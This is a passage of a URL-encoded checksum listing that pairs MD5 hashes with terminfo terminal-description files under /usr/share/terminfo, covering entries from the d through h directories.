2Fusr%2Fshare%2Fterminfo%2Fd%2Fdm2500%0A838045ac797ea28d12890e9dbd210a81%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd577-dg%0Acc3990ebb9be40567568fecc8ab4a77c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdatamedia2500%0A838045ac797ea28d12890e9dbd210a81%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd578-dg%0A0be03224eec7b1ec5c3f365e8c14fa1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-w-ccc%0Aafa390b0d70f842bb026f0353d6745a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470-dg%0Aaf4ec5fbb9f368fd49be158b6bc9eda1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470c-7b%0Aaf4ec5fbb9f368fd49be158b6bc9eda1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470-7b%0A98f0fc8b8a44d83495e56b4d13d6f2a2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd470c%0Aa7a51d5f78610ad8260b5b4c1edebbd5%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd230c-dg%0A49c0ab2278892979b56aa448323c23ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd460%0A0be03224eec7b1ec5c3f365e8c14fa1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-w-ccc%0Ad8dc409843c920c40b624d79d6a22a38%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-w%0Ad8dc409843c920c40b624d79d6a22a38%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-w%0A4fdf5d1bb640f50ee3b7e0786fb2d7ef%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-sr-ccc%0A4fdf5d1bb640f50ee3b7e0786fb2d7ef%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-sr-ccc%0A95fa39eb5a2a3e5f7b59d925bc423268%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-sr%0A95fa39eb5a2a3e5f7b59d925bc423268%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-sr%0Ade11aca9e33ab96695f345b47eac89c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-s-ccc%0Ade11aca9e33ab96695f345b47eac89c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-s-ccc%0Ae3fde0ab36c27a9e8f983990fa933e68%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-s%0Ae3fde0ab36c27a9e8f983990fa933e68%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-s%0Ad473b311ed9f44d2f661f03abaf1af1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-ccc%0Ad473b311ed9f44d2f661f03abaf1af1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-ccc%0A082d0258eb54943a6c6d355d4e53f471%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-25-ccc%0A082d0258eb54943a6c6d355d4e53f471%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-25-ccc%0A60d7e34981578f2c01bfe17d2e7cd33f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix-25%0A60d7e34981578f2c01bfe17d2e7cd33f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix-25%0A4f801e0ce843a673e240fa8e58443c96%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-unix%0A4f801e0ce843a673e240fa8e58443c96%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-unix%0A0679d82846a7231d163644f2207fcf09%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-dg-ccc%0A0679d82846a7231d163644f2207fcf09%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-dg-ccc%0A464206f8fe10a01c9f89c85a72663c6a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430c-dg%0A464206f8fe10a01c9f89c85a72663c6a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd430-dg%0Ad523257d0be4df443f83212a126b681a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd464-unix-w%0Ad523257d0be4df443f83212a126b681a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd414-unix-w%0Aa922246384f7a989f768ea6f6e736c7e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd464-unix-sr%0A49c0ab2278892979b56aa448323c23ec%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd461%0Aa922246384f7a989f768ea6f6e736c7e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd414-unix-sr%0A78dd97c8277556cea70ba9a5c6bd4282%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd464-unix-s%0A78dd97c8277556cea70ba9a5c6bd4282%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd414-unix-s%0Ad7390604356950adecb376a5cf7ba9d9%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd464-unix-25%0Ae9007e9bd1c97b7cc793607636872286%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd400%0Ad7390604356950adecb376a5cf7ba9d9%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd414-unix-25%0A3694970ace913fa2d44e9f7e288181d1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd464-unix%0A3694970ace913fa2d44e9f7e288181d1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd414-unix%0A5b6dec39b5f9f9c3c8c919af2a581b20%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-unix-w%0A5b6dec39b5f9f9c3c8c919af2a581b20%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-unix-w%0Abd8d941a12ceb97e71cb204d884563f2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-unix-sr%0Ae9007e9bd1c97b7cc793607636872286%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd450%0Abd8d941a12ceb97e71cb204d884563f2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-unix-sr%0Ad6054a7af1b67cb059a2b967f8c64855%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-unix-s%0Ad6054a7af1b67cb059a2b967f8c64855%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-unix-s%0A97257f72daf93c71492be0876269fd7c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-unix-25%0A94efe92dac29422ae04f2f13248a4e6e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd230%0A97257f72daf93c71492be0876269fd7c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-unix-25%0A22fc61ad9c2d8e2f0ad025a960d6be3a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-unix%0A22fc61ad9c2d8e2f0ad025a960d6be3a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-unix%0A38952da36a25ce93ab5ced020f0f9f47%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-unix-w%0A38952da36a25ce93ab5ced020f0f9f47%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2Bw%0A38952da36a25ce93ab5ced020f0f9f47%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-unix-w%0A800bd29a92e93f784c1ce480a1a2dab2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2Bsr%0A38952da36a25ce93ab5ced020f0f9f47%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2Bw%0A800bd29a92e93f784c1ce480a1a2dab2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-unix-sr%0A800bd29a92e93f784c1ce480a1a2dab2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2Bsr%0A800bd29a92e93f784c1ce480a1a2dab2%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-unix-sr%0A63d113f7bb0a87ddb68cd43a504d72be%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-unix-s%0A63d113f7bb0a87ddb68cd43a504d72be%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2Bs%0A63d113f7bb0a87ddb68cd43a504d72be%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-unix-s%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2Bdg%0A63d113f7bb0a87ddb68cd43a504d72be%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2Bs%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-dg%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd413-dg%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2Bdg%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-dg%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462e-dg%0A7e4e921c02ca3c8c44c50d4aa99376da%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd463-dg%0A7bcfe62265b11b9c8e0c59bd0a6080c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-unix-25%0A7bcfe62265b11b9c8e0c59bd0a6080c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2B25%0A7bcfe62265b11b9c8e0c59bd0a6080c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-unix-25%0A5648c42c92c00bb2e93f6fa29ecea1b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412-unix%0A7bcfe62265b11b9c8e0c59bd0a6080c1%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2B25%0A5648c42c92c00bb2e93f6fa29ecea1b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462%2B%0A5648c42c92c00bb2e93f6fa29ecea1b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd462-unix%0Aa73f0455fab8d0948d7063e358583e55%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd410-w%0A5648c42c92c00bb2e93f6fa29ecea1b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd412%2B%0Aa73f0455fab8d0948d7063e358583e55%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd411-w%0Aa73f0455fab8d0948d7063e358583e55%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd460-w%0Aa73f0455fab8d0948d7063e358583e55%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd461-w%0Aa6214b1122678af29443c607fe02d531%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd411-dg%0Aa6214b1122678af29443c607fe02d531%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd460-dg%0Aa6214b1122678af29443c607fe02d531%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd461-dg%0Afafbaaa493580709e46f4e331caf74f7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd410-7b-w%0Aa6214b1122678af29443c607fe02d531%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd410-dg%0Afafbaaa493580709e46f4e331caf74f7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd411-7b-w%0Afafbaaa493580709e46f4e331caf74f7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd460-7b-w%0Afafbaaa493580709e46f4e331caf74f7%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd461-7b-w%0Adf39a622713bffd7fcbcc9b074f1491a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd411-7b%0Adf39a622713bffd7fcbcc9b074f1491a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd460-7b%0Adf39a622713bffd7fcbcc9b074f1491a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd461-7b%0Ae9007e9bd1c97b7cc793607636872286%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd400-dg%0Adf39a622713bffd7fcbcc9b074f1491a%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd410-7b%0Ae9007e9bd1c97b7cc793607636872286%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd450-dg%0Aa7a51d5f78610ad8260b5b4c1edebbd5%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd230-dg%0A6fc986c81d8fa91c30753328827301ad%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216-unix-25%0A94efe92dac29422ae04f2f13248a4e6e%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd230c%0A554588d47861e6b8f1a6e2b296d20b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216-dg%0A554588d47861e6b8f1a6e2b296d20b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216e%2Bdg%0A554588d47861e6b8f1a6e2b296d20b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216e-dg%0A554588d47861e6b8f1a6e2b296d20b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd217-dg%0Ad80fdc40e68cec196ea25eb55aeae067%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdatagraphix%0A95fe35525e848371d64fd9ff13a4b0bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd211-dg%0A554588d47861e6b8f1a6e2b296d20b24%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216%2Bdg%0A6fc986c81d8fa91c30753328827301ad%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216%2B25%0A3097bc233aad7a925614a1add5b6f73d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216-unix%0A3097bc233aad7a925614a1add5b6f73d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216e%2B%0A3097bc233aad7a925614a1add5b6f73d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216e-unix%0A95fe35525e848371d64fd9ff13a4b0bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd215-dg%0A3097bc233aad7a925614a1add5b6f73d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd216%2B%0A5c7cb9b88906b42c65535e2b61eb1195%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd215-7b%0A5c7cb9b88906b42c65535e2b61eb1195%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd211-7b%0Ad9ae89b2423ddadf7d62e810ae142d7f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd215%0A151408b43d5588b3122bfedd7537feb8%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd210%0Ad9ae89b2423ddadf7d62e810ae142d7f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd211%0A681f5f69de6736beac502378f22615bf%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd214-dg%0A681f5f69de6736beac502378f22615bf%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd210-dg%0A151408b43d5588b3122bfedd7537feb8%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd214%0A578df5e513b955793a1f07962ead837d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd200-dg%0A578df5e513b955793a1f07962ead837d%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd200%0A8fe6ed7544db7dcfcfbc7439c056540c%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdiablo1740-lm%0Ad80fdc40e68cec196ea25eb55aeae067%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd132%0A3f2890a7933ee14b720fe7447110cb04%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmd-34%0Af86690c1a0f6764908397203a7447987%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmd-24%0A1a54a2583ea338aaeb811913639f8ae3%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmd1%0Ac59970672f999bda9dca2714218db1ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdialogue%0Ac59970672f999bda9dca2714218db1ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdialogue80%0Aacf75d14771bae0bc1805ca1b5c3180f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd2%0Ac59970672f999bda9dca2714218db1ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd80%0Aacf75d14771bae0bc1805ca1b5c3180f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fd2-dg%0Aacf75d14771bae0bc1805ca1b5c3180f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg6053%0Aacf75d14771bae0bc1805ca1b5c3180f%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdg605x%0Adcd9663215f0f0842677ec569872fe06%20%20%2Fusr%2Fshare%2Fterminfo%2Fd%2Fdmd%0Accb37fd8c128ed9dbde0148b377d5dac%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Felks-glasstty%0Ab6126f8d8415b843576b66556c934c7d%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fecma%2Bcolor%0Aec02ddd2d17de1f7a02e398acccbbd6d%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fecma%2Bsgr%0Af486caf3410963d3fb765f48b9c06879%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Felks%0Aaccf593e2d720aee19a0f3e23c1eb099%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Felks-ansi%0A5cfe0d2c76f7d76fbd448e3754155193%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Felks-vt52%0A44f1e4b7a22e26755021634549f9fcc8%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Femu%0Aae88f9aed691fe19170b0168d80ad2b3%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fergo4000%0A8c8b49a5f2858b5098ab367541f53df5%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fesprit%0Ab0e23271ce265ec10ae4702aa956ced6%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fesprit-am%0Aca96573610c48431bba0679d1804baa4%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Feterm%0Aee67fc11bbeeee59b2f415e59d7dc6d6%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fex155%0Ada400204d2265e9948760539831cedc9%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexec80%0A01bc87f6deb03b390e91a1e00df9d793%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel64-w%0A01bc87f6deb03b390e91a1e00df9d793%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel62-w%0A51d0936f97d679f124db8dff4aa6b88a%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel64-rv%0A51d0936f97d679f124db8dff4aa6b88a%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel62-rv%0A8af4b38aea49cec1a6ce0aaf60932708%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel64%0A8af4b38aea49cec1a6ce0aaf60932708%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fexcel62%0Ace1e3012898f07a12c20311d4a99fbb2%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fep48%0A1f64bc4087e387f91cff0ab4acb7b31d%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fep40%0Ace1e3012898f07a12c20311d4a99fbb2%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fep4080%0A1f64bc4087e387f91cff0ab4acb7b31d%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fep4000%0Ad9fcd25ba402d4eda36b95b0e5f88669%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fenvision230%0Ad9fcd25ba402d4eda36b95b0e5f88669%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Fenv230%0A2db91c0650602ba41c21c581e42b9d92%20%20%2Fusr%2Fshare%2Fterminfo%2Fe%2Femots%0A9add5185b90a093d1a792cd20168b22c%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff110-14w%0Acb3c8a28818179327be804462a90f705%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff110-14%0A5a056efc47bacc7100d7fa88effeeefd%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff200vi-w%0Ad2388537b93a64d27a9cd5965790e2f9%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff110-w%0Acc4894c967cc3dec9fbfea1a80289186%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff200-w%0Aec935c022d2a464ec314953f94653822%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff200vi%0A5d0e7dc56c70e1d0e9ad7a0488a43459%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffenixw%0Aad1663c86833d2a29a6452a9137a6a87%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffox%0A249233775ab55dc0b693917b36d7cc03%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffos%0A552817d6312fda5c70720a0b38eb4714%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff200%0A249233775ab55dc0b693917b36d7cc03%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffortune%0A552817d6312fda5c70720a0b38eb4714%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffreedom200%0A8967e6609fb63ec444ab323a901c6063%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffenix%0Adfb5624c762aa7ceefe8b403ea010514%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffalco-p%0A7e25884b29d229b30d70bb85a7d1f611%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffalco%0Acb827e3e0a9fd9ce1330e939bc3c1748%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffreedom110%0A90ace7c8d790d454e79aaa5f8b8f15c3%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff1720a%0A90ace7c8d790d454e79aaa5f8b8f15c3%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff1720%0Acb827e3e0a9fd9ce1330e939bc3c1748%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff110%0Ac405ed385f768e4ac5b4a268bbe73d00%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffreedom-rv%0Ac405ed385f768e4ac5b4a268bbe73d00%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff100-rv%0Afd5e6b420f6dbef2e1ee3b8092dc63e2%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffreedom%0Afd5e6b420f6dbef2e1ee3b8092dc63e2%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffreedom100%0Afd5e6b420f6dbef2e1ee3b8092dc63e2%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ff100%0A255f9fb96e5c5a2c0adf439e580b3b3d%20%20%2Fusr%2Fshare%2Fterminfo%2Ff%2Ffixterm%0A56e257582d9ac9df4abcb462f17d8545%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgator-52%0A0262bdd8ddbd51a5708bea207ef51bdc%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgator%0A8a76e99ec32fa46618b94ee7c5b69af4%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgt100a%0A8938a4938bf70cabdb2e6312edf00c3e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgigi%0A9afc801805596ed6823c7af05173df56%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgator-52t%0Adb4665c7d92c8d08e50f2e16dfb35ff1%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgator-t%0Ab64ddaa832a438294a619c2aebe4209d%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fglasstty%0A7367b1e2848be8ee045c39393ccc9c1e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgnome%0A29af2b95965d9d3f60a28281c5c3771f%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgo140%0A74c3c082be6306e703dd091253676679%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgo140w%0A1c06fac1285d16b9edb96169bab7ddc2%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgraphos%0A57688a316214c66a2c3f28d43f91dbe5%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgraphos-30%0Abbebfa7c547c9c7ad722ea676d487584%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgsi%0Aa7c24f78c60b5591e40bde5d19ba612b%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgt40%0A56b773521c131488aee3902eebfb5721%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgt42%0A11ddcb55e48c058de9b04e80e6a03db0%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru%2Brv%0A1af838d5cf0fdc51c70dc241c4bfde50%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru%2Bs%0Acdfad6b87ef127fa0a56ced89894a21d%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-24%0Ab82eda003f4e7adf2c67b0c5084b5de0%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-44%0Ae978d8dc5048a1c8709f81fbab5e2f38%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-44-s%0A2d57f21faad2fb49be595009aa051ab6%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76%0A4fab9e2083a04addbb0e9cabb19ca39a%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76-s%0A3ae5e4af6fc9bb7d5e37d94ce9b3719e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76-w%0Ac15bbd27975b3f318b36a4cbfe64d0d0%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76-w-s%0A0c9ec259c006fced07d86c43d6a6db6b%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76-wm%0A5e414211d0767ca65de855d5f0146b0e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-nctxt%0Ad2f631696a8f1025d63662469cb5465e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-lp%0A690283a7f7409ab631bec2af3ac41ddd%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru%0Ad2f631696a8f1025d63662469cb5465e%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-76-lp%0A1316e795685bfc51ff4a1cd10e7e75e3%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-s%0A1316e795685bfc51ff4a1cd10e7e75e3%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-33-s%0Ad783efb77623ddcf3505e15fea4eb767%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-rv%0Ad783efb77623ddcf3505e15fea4eb767%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-33-rv%0A690283a7f7409ab631bec2af3ac41ddd%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru%2Bunk%0A690283a7f7409ab631bec2af3ac41ddd%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fguru-33%0Abe5436f93f8bfa205617c11296a8e47c%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgs5430-22%0A8a76e99ec32fa46618b94ee7c5b69af4%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgt100%0A5e1525e32fb11bc980261b88a17f5114%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgs5430-24%0Ad8fed3a31fbe09ca96a84d59f5013eb2%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgo225%0Ad8fed3a31fbe09ca96a84d59f5013eb2%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgo-225%0A2db91c0650602ba41c21c581e42b9d92%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgs6300%0Ab606ed7aedc91177bf9ce0f08a6626a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fg%2Fgs5430%0A70adac3e453f4d1a66a3e4188c75f021%20%20%2Fusr%2Fshare%2Fterminfo%2Fh%2Fhft-c-old%0Aeccdebd2eac5d2cb2505226f6e2539a3%20%20%2Fusr%2Fshare%2Fterminfo%2Fh%2Fh19-bs%0Ad24f867f5764b8cd38eb7058e5db333b%20%20%2Fusr%2Fshare%2Fterminfo%2Fh%2Fh19-u%0Ad33513ede36604db1365f469d82e7811%20%20%2Fusr%2Fshare%2Fterminfo%2Fh%2Fha8675%0A